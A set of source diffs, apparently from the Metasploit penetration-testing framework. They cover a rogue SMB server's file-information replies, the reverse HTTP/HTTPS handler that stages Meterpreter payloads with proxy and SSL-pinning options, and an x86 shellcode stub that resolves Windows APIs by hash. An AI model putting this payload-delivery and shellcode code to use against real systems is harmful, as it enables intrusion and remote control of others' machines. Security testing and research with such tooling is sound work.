# @param opts [Hash{Symbol => <Fixnum, String>}] Response custom values.
# @option opts [Fixnum] :search_count The number of entries returned by the search.
# @option opts [Fixnum] :end_of_search 0 if search continues or nonzero otherwise.
# @option opts [Fixnum] :ea_error_offset should be 0 for SMB_FIND_FILE_BOTH_DIRECTORY_INFO.
# @option opts [Fixnum] :end_of_file The byte offset to the end of the file.
# @option opts [Fixnum] :allocation_size The file allocation size in bytes.
# @option opts [Fixnum] :file_attributes The extended file attributes of the file.
# @option opts [String] :data The long name of the file.
# @return [Fixnum] The number of bytes returned to the client as response.
def send_find_file_both_directory_info_res(c, opts = {})
data = opts[:data] || ''
search_count = opts[:search_count] || 0
end_of_search = opts[:end_of_search] || 0
ea_error_offset = opts[:ea_error_offset] || 0
end_of_file = opts[:end_of_file] || 0
allocation_size = opts[:allocation_size] || 0
file_attributes = opts[:file_attributes] || 0
pkt = CONST::SMB_TRANS_RES_PKT.make_struct
smb_set_defaults(c, pkt)
trans2_params = CONST::SMB_TRANS2_FIND_FIRST2_RES_PARAMETERS.make_struct
trans2_params.v['SID'] = 0xfffd
trans2_params.v['SearchCount'] = search_count
trans2_params.v['EndOfSearch'] = end_of_search
trans2_params.v['EaErrorOffset'] = ea_error_offset
trans2_params.v['LastNameOffset'] = 0
find_file = CONST::SMB_FIND_FILE_BOTH_DIRECTORY_INFO_HDR.make_struct
find_file.v['NextEntryOffset'] = CONST::SMB_FIND_FILE_BOTH_DIRECTORY_INFO_HDR_LENGTH + data.length
find_file.v['FileIndex'] = 0
find_file.v['loCreationTime'] = lo
find_file.v['hiCreationTime'] = hi
find_file.v['loLastAccessTime'] = lo
find_file.v['hiLastAccessTime'] = hi
find_file.v['loLastWriteTime'] = lo
find_file.v['hiLastWriteTime'] = hi
find_file.v['loLastChangeTime'] = lo
find_file.v['hiLastChangeTime'] = hi
find_file.v['EndOfFile'] = end_of_file
find_file.v['AllocationSize'] = allocation_size
find_file.v['ExtFileAttributes'] = file_attributes
find_file.v['FileName'] = data
send_trans2_res(c, trans2_params, find_file)
end
# Builds and sends an TRANS2_FIND_FIRST2 response with SMB_FIND_FILE_NAMES_INFO
# information level.
# @param c [Socket] The client to answer.
# @param opts [Hash{Symbol => <Fixnum, String>}] Response custom values.
# @option opts [String] :data The long name of the file.
# @return [Fixnum] The number of bytes returned to the client as response.
def send_find_file_names_info_res(c, opts = {})
data = opts[:data] || ''
pkt = CONST::SMB_TRANS_RES_PKT.make_struct
smb_set_defaults(c, pkt)
find_file = CONST::SMB_FIND_FILE_NAMES_INFO_HDR.make_struct
find_file.v['NextEntryOffset'] = CONST::SMB_FIND_FILE_NAMES_INFO_HDR_LENGTH + data.length
find_file.v['FileIndex'] = 0
find_file.v['FileName'] = data
trans2_params = CONST::SMB_TRANS2_FIND_FIRST2_RES_PARAMETERS.make_struct
trans2_params.v['SID'] = 0xfffd
trans2_params.v['SearchCount'] = 1
trans2_params.v['EndOfSearch'] = 1
trans2_params.v['EaErrorOffset'] = 0
trans2_params.v['LastNameOffset'] = 0
send_trans2_res(c, trans2_params, find_file)
end
# Builds and sends an TRANS2_FIND_FIRST2 response with SMB_FIND_FILE_FULL_DIRECTORY_INFO
# information level.
#
# @param c [Socket] The client to answer.
# @param opts [Hash{Symbol => <Fixnum, String>}] Response custom values.
# @option opts [Fixnum] :search_count The number of entries returned by the search.
# @option opts [Fixnum] :end_of_search 0 if search continues or nonzero otherwise.
# @option opts [Fixnum] :ea_error_offset should be 0 for SMB_FIND_FILE_FULL_DIRECTORY_INFO.
# @option opts [Fixnum] :end_of_file The byte offset to the end of the file.
# @option opts [Fixnum] :allocation_size The file allocation size in bytes.
# @option opts [Fixnum] :file_attributes The extended file attributes of the file.
# @option opts [String] :data The long name of the file.
# @return [Fixnum] The number of bytes returned to the client as response.
def send_find_full_directory_info_res(c, opts = {})
data = opts[:data] || ''
search_count = opts[:search_count] || 0
end_of_search = opts[:end_of_search] || 0
ea_error_offset = opts[:ea_error_offset] || 0
end_of_file = opts[:end_of_file] || 0
allocation_size = opts[:allocation_size] || 0
file_attributes = opts[:file_attributes] || 0
find_file = CONST::SMB_FIND_FILE_FULL_DIRECTORY_INFO_HDR.make_struct
find_file.v['NextEntryOffset'] = CONST::SMB_FIND_FILE_FULL_DIRECTORY_INFO_HDR_LENGTH + data.length
find_file.v['FileIndex'] = 0
find_file.v['loCreationTime'] = lo
find_file.v['hiCreationTime'] = hi
find_file.v['loLastAccessTime'] = lo
find_file.v['hiLastAccessTime'] = hi
find_file.v['loLastWriteTime'] = lo
find_file.v['hiLastWriteTime'] = hi
find_file.v['loLastChangeTime'] = lo
find_file.v['hiLastChangeTime'] = hi
find_file.v['EndOfFile'] = end_of_file
find_file.v['AllocationSize'] = allocation_size
find_file.v['ExtFileAttributes'] = file_attributes
find_file.v['FileName'] = data
trans2_params = CONST::SMB_TRANS2_FIND_FIRST2_RES_PARAMETERS.make_struct
trans2_params.v['SID'] = 0xfffd
trans2_params.v['SearchCount'] = search_count
trans2_params.v['EndOfSearch'] = end_of_search
trans2_params.v['EaErrorOffset'] = ea_error_offset
trans2_params.v['LastNameOffset'] = 0
send_trans2_res(c, trans2_params, find_file)
end
end
end
end
end
end

View File

@ -0,0 +1,213 @@
# -*- coding: binary -*-
module Msf
module Exploit::Remote::SMB::Server
module Share
module InformationLevel
module Query
# Handles a TRANS2_QUERY_FILE_INFORMATION transaction request with SMB_QUERY_FILE_BASIC_INFO
# Information Level.
#
# @param c [Socket] The client sending the request.
# @param fid [Fixnum] The file identifier which the client is requesting info from.
# @return [Fixnum] The number of bytes returned to the client as response.
def smb_cmd_trans_query_file_info_basic(c, fid)
smb = @state[c]
if fid == smb[:file_id].to_i
attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL
elsif fid.nil? || fid == 0 || fid == smb[:dir_id].to_i # empty fid
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
else
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true)
end
send_info_basic_res(c, { file_attributes: attrib })
end
# Handles a TRANS2_QUERY_FILE_INFORMATION transaction request with SMB_QUERY_FILE_STANDARD_INFO
# Information Level.
#
# @param c [Socket] The client sending the request.
# @param fid [Fixnum] The file identifier which the client is requesting info from.
# @return [Fixnum] The number of bytes returned to the client as response.
def smb_cmd_trans_query_file_info_standard(c, fid)
send_info_standard_res(c, {
allocation_size: 1048576,
number_links: 1,
delete_pending: 0,
directory: 0,
end_of_file: file_contents.length
})
end
# Handles a TRANS2_QUERY_PATH_INFORMATION transaction request with SMB_QUERY_FILE_BASIC_INFO
# Information Level.
#
# @param c [Socket] The client sending the request.
# @param path [String] The path which the client is requesting info from.
# @return [Fixnum] The number of bytes returned to the client as response.
def smb_cmd_trans_query_path_info_basic(c, path)
if path && path.ends_with?(file_name.downcase)
attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL
elsif path && folder_name && path.ends_with?(folder_name.downcase)
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
elsif path.nil? || path.empty? || path == "\x00" || path == "\\" # empty path
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
else
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true)
end
send_info_basic_res(c, { file_attributes: attrib })
end
# Handles a TRANS2_QUERY_PATH_INFORMATION transaction request with SMB_QUERY_FILE_STANDARD_INFO
# Information Level.
#
# @param c [Socket] The client sending the request.
# @param path [String] The path which the client is requesting info from.
# @return [Fixnum] The number of bytes returned to the client as response.
def smb_cmd_trans_query_path_info_standard(c, path)
if path && path.include?(file_name.downcase)
attrib = 0 # File attributes => file
elsif path && folder_name && path.ends_with?(folder_name.downcase)
attrib = 1 # File attributes => directory
elsif path.nil? || path.empty? || path == "\x00" || path == "\\" # empty path
attrib = 1 # File attributes => directory
else
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true)
end
send_info_standard_res(c, {
allocation_size: 1048576,
number_links: 1,
delete_pending: 0,
directory: attrib,
end_of_file: file_contents.length
})
end
# Handles a TRANS2_QUERY_PATH_INFORMATION transaction request with SMB_QUERY_FILE_NETWORK_INFO
# Information Level.
#
# @param c [Socket] The client sending the request.
# @param path [String] The path which the client is requesting info from.
# @return [Fixnum] The number of bytes returned to the client as response.
def smb_cmd_trans_query_path_info_network(c, path)
if path && path.include?(file_name.downcase)
attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL
elsif path && folder_name && path.ends_with?(folder_name.downcase)
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
elsif path.nil? || path.empty? || path == "\x00" || path == "\\" # empty path
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
else
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true)
end
send_info_network_res(c, {
allocation_size: 1048576,
end_of_file: file_contents.length,
file_attributes: attrib
})
end
# Builds and sends an TRANS2_QUERY_PATH_INFORMATION response with SMB_QUERY_FILE_BASIC_INFO
# information level.
#
# @param c [Socket] The client to answer.
# @param opts [Hash{Symbol => <Fixnum, String>}] Response custom values.
# @option opts [Fixnum] :file_attributes The extended file attributes of the file.
# @return [Fixnum] The number of bytes returned to the client as response.
def send_info_basic_res(c, opts = {})
file_attributes = opts[:file_attributes] || 0
trans2_params = CONST::SMB_TRANS2_QUERY_PATH_INFORMATION_RES_PARAMETERS.make_struct
trans2_params.v['EaErrorOffset'] = 0
query_path_info = CONST::SMB_QUERY_FILE_BASIC_INFO_HDR.make_struct
query_path_info.v['loCreationTime'] = lo
query_path_info.v['hiCreationTime'] = hi
query_path_info.v['loLastAccessTime'] = lo
query_path_info.v['hiLastAccessTime'] = hi
query_path_info.v['loLastWriteTime'] = lo
query_path_info.v['hiLastWriteTime'] = hi
query_path_info.v['loLastChangeTime'] = lo
query_path_info.v['hiLastChangeTime'] = hi
query_path_info.v['ExtFileAttributes'] = file_attributes
send_trans2_res(c, trans2_params, query_path_info)
end
# Builds and sends an TRANS2_QUERY_PATH_INFORMATION response with SMB_QUERY_FILE_STANDARD_INFO
# information level.
#
# @param c [Socket] The client to answer.
# @param opts [Hash{Symbol => <Fixnum, String>}] Response custom values.
# @option opts [Fixnum] :allocation_size The number of bytes that are allocated to the file.
# @option opts [Fixnum] :number_links The number of hard links to the file.
# @option opts [Fixnum] :delete_pending Indicates whether there is a delete action pending for the file.
# @option opts [Fixnum] :directory Indicates whether the file is a directory.
# @option opts [Fixnum] :end_of_file The offset from the start to the end of the file.
# @return [Fixnum] The number of bytes returned to the client as response.
def send_info_standard_res(c, opts = {})
allocation_size = opts[:allocation_size] || 0
number_links = opts[:number_links] || 0
delete_pending = opts[:delete_pending] || 0
directory = opts[:directory] || 0
end_of_file = opts[:end_of_file] || 0
trans2_params = CONST::SMB_TRANS2_QUERY_PATH_INFORMATION_RES_PARAMETERS.make_struct
trans2_params.v['EaErrorOffset'] = 0
query_path_info = CONST::SMB_QUERY_FILE_STANDARD_INFO_HDR.make_struct
query_path_info.v['AllocationSize'] = allocation_size
query_path_info.v['EndOfFile'] = end_of_file
query_path_info.v['NumberOfLinks'] = number_links
query_path_info.v['DeletePending'] = delete_pending
query_path_info.v['Directory'] = directory
send_trans2_res(c, trans2_params, query_path_info)
end
# Builds and sends an TRANS2_QUERY_PATH_INFORMATION response with SMB_QUERY_FILE_NETWORK_INFO
# information level.
#
# @param c [Socket] The client to answer.
# @param opts [Hash{Symbol => <Fixnum, String>}] Response custom values.
# @option opts [Fixnum] :allocation_size The number of bytes that are allocated to the file.
# @option opts [Fixnum] :end_of_file The offset from the start to the end of the file.
# @option opts [Fixnum] :file_attributes The file attributes.
# @return [Fixnum] The number of bytes returned to the client as response.
def send_info_network_res(c, opts= {})
allocation_size = opts[:allocation_size] || 0
end_of_file = opts[:end_of_file] || 0
file_attributes = opts[:file_attributes] || 0
pkt = CONST::SMB_TRANS_RES_PKT.make_struct
smb_set_defaults(c, pkt)
trans2_params = CONST::SMB_TRANS2_QUERY_PATH_INFORMATION_RES_PARAMETERS.make_struct
trans2_params.v['EaErrorOffset'] = 0
query_path_info = CONST::SMB_QUERY_FILE_NETWORK_INFO_HDR.make_struct
query_path_info.v['loCreationTime'] = lo
query_path_info.v['hiCreationTime'] = hi
query_path_info.v['loLastAccessTime'] = lo
query_path_info.v['hiLastAccessTime'] = hi
query_path_info.v['loLastWriteTime'] = lo
query_path_info.v['hiLastWriteTime'] = hi
query_path_info.v['loLastChangeTime'] = lo
query_path_info.v['hiLastChangeTime'] = hi
query_path_info.v['AllocationSize'] = allocation_size
query_path_info.v['EndOfFile'] = end_of_file
query_path_info.v['ExtFileAttributes'] = file_attributes
send_trans2_res(c, trans2_params, query_path_info)
end
end
end
end
end
end

View File

@ -256,11 +256,11 @@ module ReverseHopHttp
:expiration => datastore['SessionExpirationTimeout'],
:comm_timeout => datastore['SessionCommunicationTimeout'],
:ua => datastore['MeterpreterUserAgent'],
:proxyhost => datastore['PROXYHOST'],
:proxyport => datastore['PROXYPORT'],
:proxy_type => datastore['PROXY_TYPE'],
:proxy_username => datastore['PROXY_USERNAME'],
:proxy_password => datastore['PROXY_PASSWORD']
:proxy_host => datastore['PayloadProxyHost'],
:proxy_port => datastore['PayloadProxyPort'],
:proxy_type => datastore['PayloadProxyType'],
:proxy_user => datastore['PayloadProxyUser'],
:proxy_pass => datastore['PayloadProxyPass']
blob = encode_stage(blob)

View File

@ -3,6 +3,8 @@ require 'rex/io/stream_abstraction'
require 'rex/sync/ref'
require 'msf/core/handler/reverse_http/uri_checksum'
require 'rex/payloads/meterpreter/patch'
require 'rex/parser/x509_certificate'
require 'msf/core/payload/windows/verify_ssl'
module Msf
module Handler
@ -16,6 +18,7 @@ module ReverseHttp
include Msf::Handler
include Msf::Handler::ReverseHttp::UriChecksum
include Msf::Payload::Windows::VerifySsl
#
# Returns the string representation of the handler type
@ -53,22 +56,17 @@ module ReverseHttp
OptString.new('MeterpreterServerName', [ false, 'The server header that the handler will send in response to requests', 'Apache' ]),
OptAddress.new('ReverseListenerBindAddress', [ false, 'The specific IP address to bind to on the local system']),
OptInt.new('ReverseListenerBindPort', [ false, 'The port to bind to on the local system if different from LPORT' ]),
OptBool.new('OverrideRequestHost', [ false, 'Forces clients to connect to LHOST:LPORT instead of keeping original payload host', false ]),
OptString.new('HttpUnknownRequestResponse', [ false, 'The returned HTML response body when the handler receives a request that is not from a payload', '<html><body><h1>It works!</h1></body></html>' ])
], Msf::Handler::ReverseHttp)
end
# Toggle for IPv4 vs IPv6 mode
#
def ipv6?
Rex::Socket.is_ipv6?(datastore['LHOST'])
end
# Determine where to bind the server
#
# @return [String]
def listener_address
if datastore['ReverseListenerBindAddress'].to_s.empty?
bindaddr = (ipv6?) ? '::' : '0.0.0.0'
if datastore['ReverseListenerBindAddress'].to_s == ""
bindaddr = Rex::Socket.is_ipv6?(datastore['LHOST']) ? '::' : '0.0.0.0'
else
bindaddr = datastore['ReverseListenerBindAddress']
end
@ -76,14 +74,12 @@ module ReverseHttp
bindaddr
end
# Return a URI suitable for placing in a payload
#
# @return [String] A URI of the form +scheme://host:port/+
def listener_uri
if ipv6?
listen_host = "[#{listener_address}]"
else
listen_host = listener_address
end
"#{scheme}://#{listen_host}:#{datastore['LPORT']}/"
uri_host = Rex::Socket.is_ipv6?(listener_address) ? "[#{listener_address}]" : listener_address
"#{scheme}://#{uri_host}:#{datastore['LPORT']}/"
end
# Return a URI suitable for placing in a payload.
@ -92,13 +88,15 @@ module ReverseHttp
# addresses.
#
# @return [String] A URI of the form +scheme://host:port/+
def payload_uri
if ipv6?
callback_host = "[#{datastore['LHOST']}]"
def payload_uri(req)
if req and req.headers and req.headers['Host'] and not datastore['OverrideRequestHost']
callback_host = req.headers['Host']
elsif ipv6?
callback_host = "[#{datastore['LHOST']}]:#{datastore['LPORT']}"
else
callback_host = datastore['LHOST']
callback_host = "#{datastore['LHOST']}:#{datastore['LPORT']}"
end
"#{scheme}://#{callback_host}:#{datastore['LPORT']}/"
"#{scheme}://#{callback_host}/"
end
# Use the {#refname} to determine whether this handler uses SSL or not
@ -155,6 +153,7 @@ module ReverseHttp
'VirtualDirectory' => true)
print_status("Started #{scheme.upcase} reverse handler on #{listener_uri}")
lookup_proxy_settings
end
#
@ -172,6 +171,45 @@ module ReverseHttp
protected
#
# Parses the proxy settings and returns a hash
#
def lookup_proxy_settings
info = {}
return @proxy_settings if @proxy_settings
if datastore['PayloadProxyHost'].to_s == ""
@proxy_settings = info
return @proxy_settings
end
info[:host] = datastore['PayloadProxyHost'].to_s
info[:port] = (datastore['PayloadProxyPort'] || 8080).to_i
info[:type] = datastore['PayloadProxyType'].to_s
uri_host = info[:host]
if Rex::Socket.is_ipv6?(uri_host)
uri_host = "[#{info[:host]}]"
end
info[:info] = "#{uri_host}:#{info[:port]}"
if info[:type] == "SOCKS"
info[:info] = "socks=#{info[:info]}"
else
info[:info] = "http://#{info[:info]}"
if datastore['PayloadProxyUser'].to_s != ""
info[:username] = datastore['PayloadProxyUser'].to_s
end
if datastore['PayloadProxyPass'].to_s != ""
info[:password] = datastore['PayloadProxyPass'].to_s
end
end
@proxy_settings = info
end
#
# Parses the HTTPS request
#
@ -186,7 +224,7 @@ protected
case uri_match
when /^\/INITPY/
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
url = payload_uri + conn_id + '/'
url = payload_uri(req) + conn_id + '/'
blob = ""
blob << obj.generate_stage
@ -201,8 +239,8 @@ protected
blob.sub!('HTTP_COMMUNICATION_TIMEOUT = 300', "HTTP_COMMUNICATION_TIMEOUT = #{datastore['SessionCommunicationTimeout']}")
blob.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(datastore['MeterpreterUserAgent'])}'")
unless datastore['PROXYHOST'].blank?
proxy_url = "http://#{datastore['PROXYHOST']}:#{datastore['PROXYPORT']}"
unless datastore['PayloadProxyHost'].blank?
proxy_url = "http://#{datastore['PayloadProxyHost']||datastore['PROXYHOST']}:#{datastore['PayloadProxyPort']||datastore['PROXYPORT']}"
blob.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(proxy_url)}'")
end
@ -221,7 +259,7 @@ protected
when /^\/INITJM/
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
url = payload_uri + conn_id + "/\x00"
url = payload_uri(req) + conn_id + "/\x00"
blob = ""
blob << obj.generate_stage
@ -249,27 +287,30 @@ protected
when /^\/A?INITM?/
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
url = payload_uri + conn_id + "/\x00"
url = payload_uri(req) + conn_id + "/\x00"
print_status("#{cli.peerhost}:#{cli.peerport} Staging connection for target #{req.relative_resource} received...")
resp['Content-Type'] = 'application/octet-stream'
blob = obj.stage_payload
verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
datastore['HandlerSSLCert'])
#
# Patch options into the payload
#
Rex::Payloads::Meterpreter::Patch.patch_passive_service! blob,
Rex::Payloads::Meterpreter::Patch.patch_passive_service!(blob,
:ssl => ssl?,
:url => url,
:ssl_cert_hash => verify_cert_hash,
:expiration => datastore['SessionExpirationTimeout'],
:comm_timeout => datastore['SessionCommunicationTimeout'],
:ua => datastore['MeterpreterUserAgent'],
:proxyhost => datastore['PROXYHOST'],
:proxyport => datastore['PROXYPORT'],
:proxy_type => datastore['PROXY_TYPE'],
:proxy_username => datastore['PROXY_USERNAME'],
:proxy_password => datastore['PROXY_PASSWORD']
:proxy_host => datastore['PayloadProxyHost'],
:proxy_port => datastore['PayloadProxyPort'],
:proxy_type => datastore['PayloadProxyType'],
:proxy_user => datastore['PayloadProxyUser'],
:proxy_pass => datastore['PayloadProxyPass'])
resp.body = encode_stage(blob)
@ -288,13 +329,13 @@ protected
# Grab the checksummed version of CONN from the payload's request.
conn_id = req.relative_resource.gsub("/", "")
print_status("Incoming orphaned session #{conn_id}, reattaching...")
print_status("Incoming orphaned or stageless session #{conn_id}, attaching...")
# Short-circuit the payload's handle_connection processing for create_session
create_session(cli, {
:passive_dispatcher => obj.service,
:conn_id => conn_id,
:url => payload_uri + conn_id + "/\x00",
:url => payload_uri(req) + conn_id + "/\x00",
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:ssl => ssl?,

View File

@ -76,8 +76,11 @@ module Msf
# Create a URI that matches a given checksum
#
# @param sum [Fixnum] The checksum value you are trying to create a URI for
# @param len [Fixnum] An optional length value for the created URI
# @return [String] The URI string that checksums to the given value
def generate_uri_checksum(sum)
def generate_uri_checksum(sum,len=nil)
return generate_uri_checksum_with_length(sum, len) if len
chk = ("a".."z").to_a + ("A".."Z").to_a + ("0".."9").to_a
32.times do
uri = Rex::Text.rand_text_alphanumeric(3)
@ -90,6 +93,35 @@ module Msf
return URI_CHECKSUM_PRECALC[sum]
end
# Create an arbitrary length URI that matches a given checksum
#
# @param sum [Fixnum] The checksum value you are trying to create a URI for
# @param len [Fixnum] The length of the created URI
# @return [String] The URI string that checksums to the given value
def generate_uri_checksum_with_length(sum, len)
# Lengths shorter than 4 bytes are unable to match all possible checksums
# Lengths of exactly 4 are relatively slow to find for high checksum values
# Lengths of 5 or more bytes find a matching checksum fairly quickly (~80ms)
raise ArgumentError, "Length must be 5 bytes or greater" if len < 5
# Funny enough, this was more efficient than calculating checksum offsets
if len < 40
loop do
uri = Rex::Text.rand_text_alphanumeric(len)
return uri if Rex::Text.checksum8(uri) == sum
end
end
# The rand_text_alphanumeric() method becomes a bottleneck at around 40 bytes
# Calculating a static prefix flattens out the average runtime for longer URIs
prefix = Rex::Text.rand_text_alphanumeric(len-20)
loop do
uri = prefix + Rex::Text.rand_text_alphanumeric(20)
return uri if Rex::Text.checksum8(uri) == sum
end
end
end
end
end

View File

@ -43,7 +43,8 @@ module ReverseHttps
register_advanced_options(
[
OptPath.new('HandlerSSLCert', [false, "Path to a SSL certificate in unified PEM format"])
OptPath.new('HandlerSSLCert', [false, "Path to a SSL certificate in unified PEM format"]),
OptBool.new('StagerVerifySSLCert', [false, "Whether to verify the SSL certificate in Meterpreter"])
], Msf::Handler::ReverseHttps)
end

View File

@ -40,11 +40,11 @@ module ReverseHttpsProxy
[
OptString.new('LHOST', [ true, "The local listener hostname" ,"127.0.0.1"]),
OptPort.new('LPORT', [ true, "The local listener port", 8443 ]),
OptString.new('PROXYHOST', [true, "The address of the http proxy to use" ,"127.0.0.1"]),
OptInt.new('PROXYPORT', [ false, "The Proxy port to connect to", 8080 ]),
OptEnum.new('PROXY_TYPE', [true, 'Http or Socks4 proxy type', 'HTTP', ['HTTP', 'SOCKS']]),
OptString.new('PROXY_USERNAME', [ false, "An optional username for HTTP proxy authentification"]),
OptString.new('PROXY_PASSWORD', [ false, "An optional password for HTTP proxy authentification"])
OptString.new('PayloadProxyHost', [true, "The proxy server's IP address", "127.0.0.1"]),
OptPort.new('PayloadProxyPort', [true, "The proxy port to connect to", 8080 ]),
OptEnum.new('PayloadProxyType', [true, 'The proxy type, HTTP or SOCKS', 'HTTP', ['HTTP', 'SOCKS']]),
OptString.new('PayloadProxyUser', [ false, "An optional username for HTTP proxy authentication"]),
OptString.new('PayloadProxyPass', [ false, "An optional password for HTTP proxy authentication"])
], Msf::Handler::ReverseHttpsProxy)
register_advanced_options(

View File

@ -159,6 +159,36 @@ class Payload < Msf::Module
(@staged or payload_type == Type::Stager or payload_type == Type::Stage)
end
#
# This method returns an optional cached size value
#
def self.cached_size
csize = (const_defined?('CachedSize')) ? const_get('CachedSize') : nil
csize == :dynamic ? nil : csize
end
#
# This method returns whether the payload generates variable-sized output
#
def self.dynamic_size?
csize = (const_defined?('CachedSize')) ? const_get('CachedSize') : nil
csize == :dynamic
end
#
# This method returns an optional cached size value
#
def cached_size
self.class.cached_size
end
#
# This method returns whether the payload generates variable-sized output
#
def dynamic_size?
self.class.dynamic_size?
end
#
# Returns the payload's size. If the payload is staged, the size of the
# first stage is returned.
@ -281,6 +311,13 @@ class Payload < Msf::Module
internal_generate
end
#
# Generates the payload and returns the raw buffer to the caller,
# handling any post-processing tasks, such as prepended code stubs.
def generate_complete
apply_prepends(generate)
end
#
# Substitutes variables with values from the module's datastore in the
# supplied raw buffer for a given set of named offsets. For instance,
@ -435,6 +472,13 @@ class Payload < Msf::Module
return nops
end
#
# A placeholder stub, to be overriden by mixins
#
def apply_prepends(raw)
raw
end
##
#
# Event notifications.
@ -500,6 +544,12 @@ class Payload < Msf::Module
#
attr_accessor :assoc_exploit
#
# The amount of space available to the payload, which may be nil,
# indicating that the smallest possible payload should be used.
#
attr_accessor :available_space
protected
#
@ -552,6 +602,8 @@ protected
when ARCH_X64 then Metasm::X86_64.new
when ARCH_PPC then Metasm::PowerPC.new
when ARCH_ARMLE then Metasm::ARM.new
when ARCH_MIPSLE then Metasm::MIPS.new(:little)
when ARCH_MIPSBE then Metasm::MIPS.new(:big)
else
elog("Broken payload #{refname} has arch unsupported with assembly: #{module_info["Arch"].inspect}")
elog("Call stack:\n#{caller.join("\n")}")

View File

@ -91,9 +91,7 @@ module Msf::Payload::Linux
#
# Overload the generate() call to prefix our stubs
#
def generate(*args)
# Call the real generator to get the payload
buf = super(*args)
def apply_prepends(buf)
pre = ''
app = ''

View File

@ -38,9 +38,11 @@ module Msf::Payload::Windows
'none' => 0x5DE2C5AA, # GetLastError
}
def generate
return prepends(super)
#
# Implement payload prepends for Windows payloads
#
def apply_prepends(raw)
apply_prepend_migrate(raw)
end
#
@ -150,5 +152,12 @@ module Msf::Payload::Windows
return true
end
#
# Share the EXITFUNC mappings with other classes
#
def self.exit_types
@@exit_types.dup
end
end

View File

@ -0,0 +1,112 @@
# -*- coding: binary -*-
require 'msf/core'
module Msf
###
#
# Basic block_api stubs for Windows ARCH_X86 payloads
#
###
module Payload::Windows::BlockApi
def asm_block_api(opts={})
raw = %q^
api_call:
pushad ; We preserve all the registers for the caller, bar EAX and ECX.
mov ebp, esp ; Create a new stack frame
xor eax, eax ; Zero EAX (upper 3 bytes will remain zero until function is found)
mov edx, [fs:eax+48] ; Get a pointer to the PEB
mov edx, [edx+12] ; Get PEB->Ldr
mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list
next_mod: ;
mov esi, [edx+40] ; Get pointer to modules name (unicode string)
movzx ecx, word [edx+38] ; Set ECX to the length we want to check
xor edi, edi ; Clear EDI which will store the hash of the module name
loop_modname: ;
lodsb ; Read in the next byte of the name
cmp al, 'a' ; Some versions of Windows use lower case module names
jl not_lowercase ;
sub al, 0x20 ; If so normalise to uppercase
not_lowercase: ;
ror edi, 13 ; Rotate right our hash value
add edi, eax ; Add the next byte of the name
loop loop_modname ; Loop untill we have read enough
; We now have the module hash computed
push edx ; Save the current position in the module list for later
push edi ; Save the current module hash for later
; Proceed to iterate the export address table
mov edx, [edx+16] ; Get this modules base address
mov ecx, [edx+60] ; Get PE header
; use ecx as our EAT pointer here so we can take advantage of jecxz.
mov ecx, [ecx+edx+120] ; Get the EAT from the PE header
jecxz get_next_mod1 ; If no EAT present, process the next module
add ecx, edx ; Add the modules base address
push ecx ; Save the current modules EAT
mov ebx, [ecx+32] ; Get the rva of the function names
add ebx, edx ; Add the modules base address
mov ecx, [ecx+24] ; Get the number of function names
; now ecx returns to its regularly scheduled counter duties
; Computing the module hash + function hash
get_next_func: ;
jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
dec ecx ; Decrement the function name counter
mov esi, [ebx+ecx*4] ; Get rva of next module name
add esi, edx ; Add the modules base address
xor edi, edi ; Clear EDI which will store the hash of the function name
; And compare it to the one we want
loop_funcname: ;
lodsb ; Read in the next byte of the ASCII function name
ror edi, 13 ; Rotate right our hash value
add edi, eax ; Add the next byte of the name
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
jne loop_funcname ; If we have not reached the null terminator, continue
add edi, [ebp-8] ; Add the current module hash to the function hash
cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for
jnz get_next_func ; Go compute the next function hash if we have not found it
; If found, fix up stack, call the function and then value else compute the next one...
pop eax ; Restore the current modules EAT
mov ebx, [eax+36] ; Get the ordinal table rva
add ebx, edx ; Add the modules base address
mov cx, [ebx+2*ecx] ; Get the desired functions ordinal
mov ebx, [eax+28] ; Get the function addresses table rva
add ebx, edx ; Add the modules base address
mov eax, [ebx+4*ecx] ; Get the desired functions RVA
add eax, edx ; Add the modules base address to get the functions actual VA
; We now fix up the stack and perform the call to the desired function...
finish:
mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad
pop ebx ; Clear off the current modules hash
pop ebx ; Clear off the current position in the module list
popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
pop ecx ; Pop off the origional return address our caller will have pushed
pop edx ; Pop off the hash value our caller will have pushed
push ecx ; Push back the correct return value
jmp eax ; Jump into the required function
; We now automagically return to the correct caller...
get_next_mod: ;
pop edi ; Pop off the current (now the previous) modules EAT
get_next_mod1: ;
pop edi ; Pop off the current (now the previous) modules hash
pop edx ; Restore our position in the module list
mov edx, [edx] ; Get the next module
jmp.i8 next_mod ; Process this module
^
end
end
end

View File

@ -0,0 +1,79 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/windows'
module Msf
###
#
# Implements arbitrary exit routines for Windows ARCH_X86 payloads
#
###
module Payload::Windows::Exitfunk
